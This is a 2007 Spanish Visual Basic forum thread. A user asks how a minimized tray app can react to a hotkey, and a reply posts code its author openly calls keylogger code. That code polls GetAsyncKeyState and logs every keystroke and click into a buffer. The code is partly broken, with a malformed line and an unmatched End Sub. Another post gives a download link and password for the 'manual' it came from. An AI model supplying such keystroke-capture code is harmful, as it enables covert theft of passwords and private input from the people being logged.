Foros del Web » Programación para mayores de 30 ;) » Programación General » Visual Basic clásico »

Detectar keypress en windows

Estas en el tema de Detectar keypress en windows en el foro de Visual Basic clásico en Foros del Web. Hola! He hecho una aplicación que al minimizarse se queda como un icono en la barra de tareas (abajo a la derecha, donde el reloj). ...
  #1 (permalink)  
Antiguo 09/07/2007, 11:06
 
Fecha de Ingreso: marzo-2007
Mensajes: 58
Antigüedad: 17 años, 2 meses
Puntos: 0
Detectar keypress en windows

Hola!

He hecho una aplicación que al minimizarse se queda como un icono en la barra de tareas (abajo a la derecha, donde el reloj).

Para maximizarlo hay que clicar con el boton derecho del raton sobre el icono y seleccionar "Restaurar". Pero ahora lo que quiero es que se restaure cuando presione un par de teclas (control+a por ejemplo).

Como puedo hacer para que mi programa detecte que se han presionado esas teclas cuando está minimizado y no tiene el focus? Supongo que tendre que hacer uso de alguna api de windows.. pero cual?.. y lo mas importante.. como!?

Alguien me puede prestar unpoco de luz?

gracias!
  #2 (permalink)  
Antiguo 09/07/2007, 12:34
 
Fecha de Ingreso: junio-2007
Mensajes: 189
Antigüedad: 16 años, 10 meses
Puntos: 3
Re: Detectar keypress en windows

Pues, igual esto te sirve...

Hay programas(Mayoritariamente ilegales) llamados keylogger, y como su nombre indican guardan las teclas pulsadas.

Es algo largo...
Cita:
Dim Sort as String 'Esta variable Guarda las teclas
'Esta es la API
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
'Esta es la funcion que recoge las teclas
Function GetPressedKey() As String
For Cnt = 1 To 1000
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Cnt 'Chr$(Cnt)
Exit For
End If
Next Cnt
End Function
Cita:
'Esto en un Timer
On Error Resume Next
Ret = GetPressedKey
If Ret <> Sold Then Sold = Ret
If Sold Like "1" Then 'esto se hace para no capturar 2 veces o mas la misma tecla
Memoria = Memoria & "[clickder]" & vbNewLine
ElseIf Sold = "2" Then Memoria = Memoria & "[clickizq]"
& vbNewLine
ElseIf Sold = "112" Then
Memoria = Memoria & "[f1]"
ElseIf Sold = "113" Then
Memoria = Memoria & "[f2]"
ElseIf Sold = "114" Then
Memoria = Memoria & "[f3]"
ElseIf Sold = "115" Then
Memoria = Memoria & "[f4]"
ElseIf Sold = "116" Then
Memoria = Memoria & "[f5]"
ElseIf Sold = "117" Then
Memoria = Memoria & "[f6]"
ElseIf Sold = "118" Then
Memoria = Memoria & "[f7]"
ElseIf Sold = "119" Then
Memoria = Memoria & "[f8]"
ElseIf Sold = "120" Then
Memoria = Memoria & "[f9]"
ElseIf Sold = "121" Then
Memoria = Memoria & "[f10]"
ElseIf Sold = "122" Then
Memoria = Memoria & "[f11]"
ElseIf Sold = "123" Then
Memoria = Memoria & "[f12]"
'///////////////////////////////////////////////////////
ElseIf Sold = "49" Then
Memoria = Memoria & 1
ElseIf Sold = "50" Then
Memoria = Memoria & 2
ElseIf Sold = "51" Then
Memoria = Memoria & 3
ElseIf Sold = "52" Then
Memoria = Memoria & 4
ElseIf Sold = "53" Then
Memoria = Memoria & 5
ElseIf Sold = "54" Then
Memoria = Memoria & 6
ElseIf Sold = "55" Then
Memoria = Memoria & 7
ElseIf Sold = "56" Then
Memoria = Memoria & 8
ElseIf Sold = "57" Then
Memoria = Memoria & 9
'//////////////////////////////////////////////////////
ElseIf Sold = "48" Then
Memoria = Memoria & 0
ElseIf Sold = "8" Then
' Memoria = Mid(Memoria, 1, Len(Memoria) 1)
ElseIf Sold = "9" Then
Memoria = Memoria & "[TAB]"
ElseIf Sold = "81" Then
Memoria = Memoria & "Q"
ElseIf Sold = "87" Then
Memoria = Memoria & "W"
ElseIf Sold = "69" Then
Memoria = Memoria & "E"
ElseIf Sold = "82" Then
Memoria = Memoria & "R"
ElseIf Sold = "84" Then
Memoria = Memoria & "T"
ElseIf Sold = "89" Then
Memoria = Memoria & "Y"
ElseIf Sold = "85" Then
Memoria = Memoria & "U"
ElseIf Sold = "73" Then
Memoria = Memoria & "I"
ElseIf Sold = "79" Then
Memoria = Memoria & "O"
ElseIf Sold = "80" Then
Memoria = Memoria & "P"
'//////////////////////////////////////////////////////
ElseIf Sold = "13" Then
Memoria = Memoria & " [ENTER] " & vbNewLine
ElseIf Sold = "20" Then
Memoria = Memoria & "[MAY]"
ElseIf Sold = "65" Then
Memoria = Memoria & "A"
ElseIf Sold = "83" Then
Memoria = Memoria & "S"
ElseIf Sold = "68" Then
Memoria = Memoria & "D"
ElseIf Sold = "70" Then
Memoria = Memoria & "F"
ElseIf Sold = "71" Then
Memoria = Memoria & "G"
ElseIf Sold = "72" Then
Memoria = Memoria & "H"
ElseIf Sold = "74" Then
Memoria = Memoria & "J"
ElseIf Sold = "75" Then
Memoria = Memoria & "K"
ElseIf Sold = "76" Then
Memoria = Memoria & "L"
'//////////////////////////////////////////////////////
ElseIf Sold = "219" Then
Memoria = Memoria & "'"
ElseIf Sold = "221" Then
Memoria = Memoria & "¡"
ElseIf Sold = "220" Then
Memoria = Memoria & "º"
ElseIf Sold = "192" Then
Memoria = Memoria & "Ñ"
ElseIf Sold = "222" Then
Memoria = Memoria & "`"
ElseIf Sold = "191" Then
Memoria = Memoria & "Ç"
ElseIf Sold = "16" Then
Memoria = Memoria & "[SHIFT]"
ElseIf Sold = "226" Then
Memoria = Memoria & "<"
ElseIf Sold = "90" Then
Memoria = Memoria & "Z"
ElseIf Sold = "88" Then
Memoria = Memoria & "X"
ElseIf Sold = "67" Then
Memoria = Memoria & "C"
ElseIf Sold = "86" Then
Memoria = Memoria & "V"
ElseIf Sold = "66" Then
Memoria = Memoria & "B"
ElseIf Sold = "78" Then
Memoria = Memoria & "N"
ElseIf Sold = "77" Then
Memoria = Memoria & "M"
ElseIf Sold = "188" Then
Memoria = Memoria & ","
ElseIf Sold = "190" Then
Memoria = Memoria & "."
'//////////////////////////////////////////////////////
ElseIf Sold = "189" Then
Memoria = Memoria & ""
ElseIf Sold = "17" Then
Memoria = Memoria & "[CTRL]"
ElseIf Sold = "91" Then
Memoria = Memoria & "[WININIDER]"
ElseIf Sold = "18 164" Then
Memoria = Memoria & "[ALT]"
ElseIf Sold = "32" Then
Memoria = Memoria & " "
ElseIf Sold = "92" Then
Memoria = Memoria & "[WININIIZQ]"
ElseIf Sold = "93" Then
Memoria = Memoria & "[WINPROP]"
ElseIf Sold = "27" Then
Memoria = Memoria & "[ESC]"
'//////////////////////////////////////////////////////
ElseIf Sold = "44" Then
Memoria = Memoria & "[IMPPANT]"
ElseIf Sold = "145" Then
Memoria = Memoria & "[BLOQ]"
ElseIf Sold = "19" Then
Memoria = Memoria & "[PAUSA]"
ElseIf Sold = "45" Then
Memoria = Memoria & "[INSERT]"
ElseIf Sold = "36" Then
Memoria = Memoria & "[INICIO]"
ElseIf Sold = "33" Then
Memoria = Memoria & "[REPAG]"
ElseIf Sold = "46" Then
Memoria = Memoria & "[DEL]"
ElseIf Sold = "35" Then
Memoria = Memoria & "[FIN]"
ElseIf Sold = "34" Then
Memoria = Memoria & "[AVPAG]"
ElseIf Sold = "38" Then
Memoria = Memoria & "[FLECHA ARRIBA]"
ElseIf Sold = "37" Then
Memoria = Memoria & "[FLECHA IZQUI]"
ElseIf Sold = "39" Then
Memoria = Memoria & "[FLECHA DERECH]"
ElseIf Sold = "40" Then
Memoria = Memoria & "[FLECHA ABAJO]"
ElseIf Sold = "144" Then
Memoria = Memoria & "[NUM]"
'////////////////////////////////////////////////
ElseIf Sold = "111" Then
Memoria = Memoria & "/"
ElseIf Sold = "106" Then
Memoria = Memoria & "*"
ElseIf Sold = "109" Then
Memoria = Memoria & ""
ElseIf Sold = "107" Then
Memoria = Memoria & "+"
ElseIf Sold = "96" Then
Memoria = Memoria & "0"
ElseIf Sold = "97" Then
Memoria = Memoria & "1"
ElseIf Sold = "98" Then
Memoria = Memoria & "2"
ElseIf Sold = "99" Then
Memoria = Memoria & "3"
ElseIf Sold = "100" Then
Memoria = Memoria & "4"
ElseIf Sold = "101" Then
Memoria = Memoria & "5"
ElseIf Sold = "102" Then
Memoria = Memoria & "6"
ElseIf Sold = "103" Then
Memoria = Memoria & "7"
ElseIf Sold = "104" Then
Memoria = Memoria & "8"
ElseIf Sold = "105" Then
Memoria = Memoria & "9"
ElseIf Sold = "18" Then
Memoria = Memoria & "[ALT]"
End If
End If
End Sub
Espero te haya servido

Lo e sacado de un manual
  #3 (permalink)  
Antiguo 10/07/2007, 00:31
 
Fecha de Ingreso: marzo-2007
Mensajes: 58
Antigüedad: 17 años, 2 meses
Puntos: 0
Re: Detectar keypress en windows

Gracias Soutlink, tiene buena pinta lo q me has puesto.

Me podrías pasar el manual del que dices que has sacado eso? o decirme q manual es para poder bajarmelo yo


Salu2
  #4 (permalink)  
Antiguo 10/07/2007, 02:24
 
Fecha de Ingreso: marzo-2007
Mensajes: 58
Antigüedad: 17 años, 2 meses
Puntos: 0
Re: Detectar keypress en windows

He estado mirando el codigo y creo q es más correcto modificar la linea

"If GetAsyncKeyState(Cnt) <> 0 Then"

por

"If GetAsyncKeyState(Cnt) = -32767 Then"

Seguire probando
  #5 (permalink)  
Antiguo 10/07/2007, 02:48
 
Fecha de Ingreso: junio-2007
Mensajes: 189
Antigüedad: 16 años, 10 meses
Puntos: 3
Re: Detectar keypress en windows

Si, aquí tienes el manual.

http://www.megaupload.com/?d=3LH95L2R

CONTRASEÑA: Visual.SaC

Fuente:Visual.S@C
Salu2
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 00:56.